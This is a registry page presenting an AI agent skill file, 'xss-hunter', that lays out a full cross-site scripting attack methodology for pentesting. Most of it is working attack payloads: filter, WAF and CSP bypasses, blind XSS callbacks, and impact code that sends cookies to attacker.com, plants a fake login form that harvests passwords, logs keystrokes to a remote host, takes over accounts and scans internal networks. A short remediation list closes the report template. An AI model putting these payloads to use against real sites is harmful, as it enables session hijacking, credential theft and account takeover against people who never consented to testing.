agentleFS
RifteoRifteo/skills/xss-hunter/SKILL.md

xss-hunter

Skill37 starsChanged 5 months agoMITView on GitHub

Complete XSS testing methodology reflected, stored, DOM-based, blind, and mutation XSS, CSP bypass, DOM clobbering, filter/WAF evasion, and impact escalation. Trigger when the user asks to test for XSS or cross-site scripting (reflected, stored, DOM-based, blind, mutation), wants to bypass XSS filters/WAF rules/CSP, identifies a reflection point and needs the right payload, pastes HTML/JS that reflects user input, asks if they can steal cookies or test inputs for injection, needs to demonstrate XSS impact, or is writing a pentest finding needing evidence or remediation.

  • Sends data out

The file

Show its rules and text

We split this skill into the rules it gives an agent

16 rules. About 0 are common, 12 are distinctive, and 4 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈12

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 4

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Search bars, login forms, registration, comments, bio fields, file name inputs

    line 57
  2. Distinctive:

    If payload executes — confirm stored XSS

    line 151
  3. Distinctive:

    Search JS files for dangerous sinks and trace data flow back to sources

    line 199
  4. Distinctive:

    Strategy: use an out-of-band callback payload that phones home when it executes.

    line 217
  5. Distinctive:

    When basic payloads are blocked, work through these techniques systematically.

    line 255
  6. Distinctive:

    Check CSP header first:

    line 359
  7. Very specific:

    If script-src whitelists a CDN that hosts JSONP endpoints or AngularJS:

    line 372
  8. Very specific:

    If only default-src is set, object-src and script-src may not be restricted:

    line 391
  9. Very specific:

    If script-src 'nonce-abc123' is used:

    line 397
  10. Distinctive:

    Check if the nonce is static (doesn't change per request)

    line 398
  11. Distinctive:

    Check if nonce is reflected elsewhere in the page

    line 399
  12. Distinctive:

    Check if nonce is predictable

    line 400
  13. Distinctive:

    When to try mXSS: when the app uses DOMPurify <= 2.0.x or any HTML sanitizer, and basic XSS is blocked.

    line 424
  14. Very specific:

    When to use: when JS references window.X or document.X that isn't explicitly declared, and those values are used in security decisions or …

    line 451
  15. Distinctive:

    After confirming XSS executes, demonstrate real-world impact.

    line 457
  16. Distinctive:

    Before injecting payloads, run this:

    line 527

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

XSS Attack Methodology

XSS occurs when user-controlled input is rendered in a browser without proper sanitization or encoding, allowing arbitrary JavaScript execution in the victim's context.

Before testing anything — understand the injection context: The payload you need depends entirely on where your input lands in the page source. Always view source or open DevTools after injecting a canary string (xsstest123) to locate where it appears.

HTML body:       <p>xsstest123</p>             → <script> or <img onerror>
HTML attribute:  <input value="xsstest123">   → " onmouseover= or ">
JS string:       var x = "xsstest123";        → ";alert(1)//
JS template:     `Hello xsstest123`           → ${alert(1)}
URL/href:        href="xsstest123"            → javascript:alert(1)
CSS:             style="color:xsstest123"     → expression(alert(1)) [IE]

Attack Index

#TypeDescription
1Reflected XSSInput reflected immediately in response
2Stored XSSInput persisted and rendered for other users
3DOM-based XSSInput processed by client-side JS into a dangerous sink
4Blind XSSExecution happens in a context you can't see (admin panel, logs)
5Filter & WAF EvasionBypass blacklists, sanitizers, WAF rules
6CSP BypassExploit weak Content-Security-Policy headers
7Mutation XSS (mXSS)Browser mutation turns safe markup into executable XSS
8DOM ClobberingOverwrite JS variables using named HTML elements
9Impact EscalationSession hijack, credential theft, keylogging, CSRF

Phase 1 — Reconnaissance: Find All Input Surfaces

Cast a wide net before injecting anything.

1.1 URL Parameters

GET /search?q=test
GET /page?id=1&ref=home
GET /profile?user=alice

1.2 Form Fields

  • Search bars, login forms, registration, comments, bio fields, file name inputs
  • Hidden fields: <input type="hidden" name="redirect" value="/home">

1.3 HTTP Headers (often reflected in error pages)

Referer: https://attacker.com/<script>alert(1)</script>
User-Agent: <script>alert(1)</script>
X-Forwarded-For: <script>alert(1)</script>
X-Original-URL: /"><script>alert(1)</script>

1.4 JSON / API Responses rendered in UI

  • API response fields that get injected into the DOM via innerHTML
  • Username, display name, bio, address fields stored in API and rendered later

1.5 File Uploads

  • Upload an SVG with embedded JS: <svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
  • Upload HTML file if allowed
  • Filename itself: "><img src=x onerror=alert(1)>.png

1.6 DOM Sources (for DOM XSS)

// Sources — user-controlled entry points into JS
location.href / location.search / location.hash
document.referrer
document.URL
window.name
postMessage data
localStorage / sessionStorage (if populated from URL)

Attack 1 — Reflected XSS

What: Input is reflected in the HTTP response immediately without being stored.

Step 1 — Inject a canary to locate reflection:

GET /search?q=xsstest123

View source → find xsstest123 → note the surrounding context.

Step 2 — Choose payload for context:

<!-- HTML body context -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>

<!-- HTML attribute context (value="HERE") -->
" onmouseover="alert(document.domain)
" autofocus onfocus="alert(document.domain)
"><img src=x onerror=alert(document.domain)>

<!-- JavaScript string context (var x = "HERE") -->
";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//

<!-- JavaScript template literal context (`Hello HERE`) -->
${alert(document.domain)}

<!-- href/src attribute context -->
javascript:alert(document.domain)
data:text/html,<script>alert(document.domain)</script>

<!-- Inside a script block as a value -->
</script><script>alert(document.domain)</script>

Step 3 — Confirm: observe alert box with document.domain. Always use document.domain (not 1) to prove the execution origin.


Attack 2 — Stored XSS

What: Input is saved server-side and rendered to other users — higher impact than reflected.

High-value injection points:

  • Comment/review fields
  • Profile fields (name, bio, address, job title)
  • Chat / messaging features
  • Support ticket subject/body
  • Product/listing names and descriptions
  • Notification text
  • File/folder names in cloud storage UIs

Testing approach:

  1. Inject a payload in the field and save
  2. View the page as a different user (or in a fresh session)
  3. If payload executes — confirm stored XSS

Persistent payload (survives page reload):

<img src=x onerror="this.src='https://your-collaborator.net/?c='+document.cookie">
<script>document.location='https://your-collaborator.net/?c='+document.cookie</script>
<svg/onload="fetch('https://your-collaborator.net/?c='+btoa(document.cookie))">

Check all consumers: a stored payload in a profile field may execute on:

  • /profile/alice (public)
  • /admin/users/alice (admin panel) ← highest impact
  • Email notifications (if HTML email)
  • API response consumed by another frontend

Attack 3 — DOM-Based XSS

What: The server response is safe, but client-side JavaScript reads from a source and writes to a dangerous sink without sanitization.

Common dangerous sinks:

element.innerHTML = userInput;          // most common
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
element.insertAdjacentHTML('...', userInput);
eval(userInput);
setTimeout(userInput, 0);
setInterval(userInput, 0);
new Function(userInput)();
location.href = userInput;              // XSS via javascript:
location.assign(userInput);
location.replace(userInput);
element.src = userInput;
element.setAttribute('href', userInput);
jQuery(userInput);                      // jQuery XSS
$.parseHTML(userInput);

Testing approach:

  1. Find parameters that appear in client-side JS (hash, search, name)
  2. Inject into URL hash/fragment (not sent to server, bypasses server WAF):
    https://target.com/page#<img src=x onerror=alert(document.domain)>
    https://target.com/page?returnUrl=javascript:alert(1)
  3. Search JS files for dangerous sinks and trace data flow back to sources

Hunt for DOM XSS in JS files:

# Find innerHTML/eval usage in JS bundles
curl -s https://target.com/app.js | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|location\.href"

# Use Burp DOM Invader (embedded browser extension)
# Use dalfox with --deep-domxss flag
dalfox url "https://target.com/search?q=test" --deep-domxss

Attack 4 — Blind XSS

What: The XSS fires in a context you cannot directly observe — admin panel, internal dashboard, log viewer, support ticket system, PDF renderer, email client.

Strategy: use an out-of-band callback payload that phones home when it executes.

Payload with full context capture:

// Self-contained OOB payload — captures URL, cookies, DOM, IP
<script>
var d=document;
fetch('https://your-collaborator.net/xss?'+new URLSearchParams({
  url: d.location.href,
  cookie: d.cookie,
  dom: d.documentElement.innerHTML.substring(0,500),
  ua: navigator.userAgent
}));
</script>

Compact versions for length-limited fields:

<img src=x onerror="fetch('https://your-collaborator.net/?c='+document.cookie)">
<script src="https://your-collaborator.net/payload.js"></script>

Tools for blind XSS:

  • XSS Hunter (xsshunter.trufflesecurity.com) — generates unique payloads per target, captures full page screenshot + DOM + cookies when fired
  • Burp Collaborator — simple OOB DNS/HTTP callback
  • interactsh — open-source OOB server: interactsh-client generates a unique URL

Where to inject blind XSS:

  • Support ticket / bug report forms
  • Feedback widgets
  • User-agent or X-Forwarded-For headers (logged in dashboards)
  • Order notes / shipping address (rendered in admin order view)
  • Username (may appear in audit logs or admin user list)

Attack 5 — Filter & WAF Evasion

When basic payloads are blocked, work through these techniques systematically.

5.1 Case Variation

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

5.2 Tag Alternatives (when <script> is blocked)

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<object data="javascript:alert(1)">
<math><mtext><table><mglyph><svg><mtext><textarea>
  <path id="</textarea><img onerror=alert(1) src=1>">

5.3 Encoding Bypasses

<!-- HTML entities -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

<!-- URL encoding (in href/src) -->
<a href="javascript:%61lert(1)">click</a>

<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- Unicode escapes (inside JS context) -->
\u0061lert(1)
\u{61}lert(1)

<!-- HTML5 numeric entities -->
&#x61;&#x6C;&#x65;&#x72;&#x74;(1)

<!-- Null bytes / special chars to break filters -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\nipt>alert(1)</scrip\nt>

5.4 JavaScript Obfuscation

// Avoid "alert"
confirm(1)
prompt(1)
console.log(1)   // safer for detection proof
window['al'+'ert'](1)
(a=alert)(1)
top['al\x65rt'](1)
eval('ale'+'rt(1)')
Function('alert(1)')()
[].constructor.constructor('alert(1)')()

// Avoid parentheses (some WAFs)
alert`1`
throw onerror=alert,1337

// Avoid quotes
String.fromCharCode(88,83,83)
/XSS/.source

5.5 Polyglot Payloads (test multiple contexts at once)

// Works in HTML, attribute, and JS string contexts
javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

// Gareth Heyes polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>

// Short universal polyglot
">'><svg/onload=alert(1)>

5.6 WAF-Specific Bypasses

# Cloudflare — use less common tags + encoding
<svg/onload=alert&#40;1&#41;>
<a/href="j%26Tab;avascript:alert(1)">click

# ModSecurity — split across parameters (HPP)
GET /search?q=<scri&q=pt>alert(1)</scri&q=pt>

# Filter that strips <script> once — double nesting
<scr<script>ipt>alert(1)</scr</script>ipt>

# Filters checking for "javascript:" — use tab/newline
<a href="java&#9;script:alert(1)">
<a href="java&#10;script:alert(1)">

Attack 6 — CSP Bypass

Check CSP header first:

curl -s -I https://target.com | grep -i content-security-policy

6.1 Unsafe Directives — Instant Win

script-src 'unsafe-inline'   → inline <script> works directly
script-src 'unsafe-eval'     → eval(), setTimeout(string) work
script-src *                 → load script from any domain

6.2 Whitelisted CDN Abuse (JSONP / Angular)

If script-src whitelists a CDN that hosts JSONP endpoints or AngularJS:

<!-- JSONP callback on whitelisted domain -->
<script src="https://whitelisted-cdn.com/api?callback=alert(1)//"></script>

<!-- AngularJS CSP bypass (if angular.js is whitelisted) -->
<div ng-app ng-csr-nonce="">{{constructor.constructor('alert(1)')()}}</div>

6.3 script-src-elem vs script-src mismatch

Some browsers fall back differently — try <script> if script-src-elem is not set.

6.4 base-uri not set → base tag injection

<base href="https://attacker.com/">
<!-- All relative script/link imports now load from attacker.com -->

6.5 default-src without script-src

If only default-src is set, object-src and script-src may not be restricted:

<object data="data:text/html,<script>alert(1)</script>"></object>

6.6 Nonce/hash leak

If script-src 'nonce-abc123' is used:

  • Check if the nonce is static (doesn't change per request)
  • Check if nonce is reflected elsewhere in the page
  • Check if nonce is predictable

Attack 7 — Mutation XSS (mXSS)

What: The browser's HTML parser mutates apparently safe markup into something executable when assigned via innerHTML.

Classic mXSS payload:

<!-- Assigned to innerHTML — browser mutates closing tag -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- Table context mutation -->
<table><tbody><tr><td><img src="1" onerror=alert(1)//</td></tr></tbody></table>

<!-- SVG namespace confusion -->
<svg><style><img src=x onerror=alert(1)></style></svg>

<!-- math/foreignObject mutation -->
<math><mtext><table><mglyph><svg><mtext><textarea>
<path id="</textarea><img onerror=alert(1) src=1>">

When to try mXSS: when the app uses DOMPurify <= 2.0.x or any HTML sanitizer, and basic XSS is blocked. Browser mutation can sometimes reconstruct executable HTML from "safe" input.


Attack 8 — DOM Clobbering

What: Named HTML elements (id, name) overwrite JS global variables or properties, causing unsafe behavior when the code later uses those variables.

Basic clobbering:

<!-- If code does: if (window.isAdmin) → inject: -->
<img id=isAdmin>
<input id=isAdmin value=true>

<!-- If code does: document.getElementById('config').src → inject: -->
<a id=config href="javascript:alert(1)">

<!-- Clobber document.forms[0].action (form hijack) -->
<form id=target><input name=action value="https://attacker.com/steal"></form>

Double clobbering (clobber a property of a property):

<!-- Code: config.token → inject: -->
<form id=config><input id=config name=token value=CLOBBERED></form>

When to use: when JS references window.X or document.X that isn't explicitly declared, and those values are used in security decisions or URL construction.


Attack 9 — Impact Escalation

After confirming XSS executes, demonstrate real-world impact.

9.1 Cookie Theft (Session Hijacking)

// Exfiltrate cookies
fetch('https://attacker.com/steal?c=' + btoa(document.cookie))

// Via image (no CORS)
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)

// Via XSS Hunter payload (captures everything)

9.2 Credential Harvesting (Phishing via XSS)

// Inject fake login overlay on the page
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:99999">
  <form action="https://attacker.com/harvest" method="post">
    <h2>Session expired — please log in again</h2>
    <input name="user" placeholder="Username"><br>
    <input name="pass" type="password" placeholder="Password"><br>
    <button>Login</button>
  </form>
</div>`;

9.3 Keylogging

document.addEventListener('keydown', e => {
  fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});

9.4 CSRF via XSS (bypass SameSite / CSRF tokens)

// XSS can read the CSRF token from the page, then use it
const token = document.querySelector('[name=csrf_token]').value;
fetch('/api/admin/delete-user', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
  body: JSON.stringify({user_id: 1})
});

9.5 Account Takeover via XSS

// Change victim's email/password using their authenticated session
fetch('/api/account', {
  method: 'PATCH',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com', password: 'hacked123'})
});

9.6 Internal Network Scanning (pivot via XSS)

// Scan internal IPs from victim's browser
['192.168.1.1','192.168.1.254','10.0.0.1'].forEach(ip => {
  fetch(`http://${ip}/`, {mode: 'no-cors'})
    .then(() => fetch('https://attacker.com/?alive=' + ip));
});

Quick Recon Checklist

Before injecting payloads, run this:

# 1. Find all parameters with Wayback/gau
gau target.com | grep "=" | sort -u

# 2. Check CSP header
curl -s -I https://target.com | grep -i "content-security-policy"

# 3. Automated parameter discovery
paramspider -d target.com

# 4. Fast XSS scan (dalfox)
dalfox url "https://target.com/search?q=test"

# 5. Check response headers for X-XSS-Protection (legacy)
curl -s -I https://target.com | grep -i "x-xss"

# 6. JS file audit — find dangerous sinks
cat app.js | grep -E "innerHTML|document\.write|eval\(|location\.href\s*="

Report Structure

Title: [Stored/Reflected/DOM] XSS on [endpoint/feature]

Severity: [Critical (stored+admin), High (stored), Medium (reflected), Low (self-XSS)]

Affected endpoint: [METHOD] [URL] — parameter: [name]

Steps to reproduce:
1. [Setup: log in as X, navigate to Y]
2. Inject the following payload into [field]: [PAYLOAD]
3. [Trigger: submit form / visit URL / wait for admin to view]
4. Observe: JavaScript executes — alert shows [document.domain]

Impact:
- [Describe: cookie theft / session hijack / account takeover / CSRF]
- [Affected users: all visitors / admin users / specific role]

Evidence:
- Screenshot of alert box showing document.domain
- HTTP request/response showing reflection or storage
- For stored: show two different sessions — inject + trigger

Remediation:
- Encode all user output for its context (HTML encode for HTML, JS encode for JS)
- Use textContent instead of innerHTML where possible
- Implement a strict Content-Security-Policy
- Use a security-tested sanitizer (DOMPurify) for HTML rendering
- Set HttpOnly on session cookies to limit theft impact

Scripts

scripts/xss_agent.py

Requires: pip3 install requests

# Reflected XSS — Bearer token auth
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --params "/search?q=FUZZ" "/profile?name=FUZZ"

# Reflected XSS — Cookie auth
python3 scripts/xss_agent.py https://target.com \
  --cookie "session=abc" \
  --params "/search?q=FUZZ"

# Stored XSS test
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --submit-endpoint /api/comments \
  --display-endpoint /comments \
  --field body \
  -o report.json

The script automatically: checks CSP headers → injects a canary to find reflection → detects context (HTML body / attribute / JS string) → selects matching payloads → confirms execution → outputs a JSON report.


Reference Files

  • references/payloads.md — payload list by context
  • references/tools.md — dalfox, XSStrike, Burp usage

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.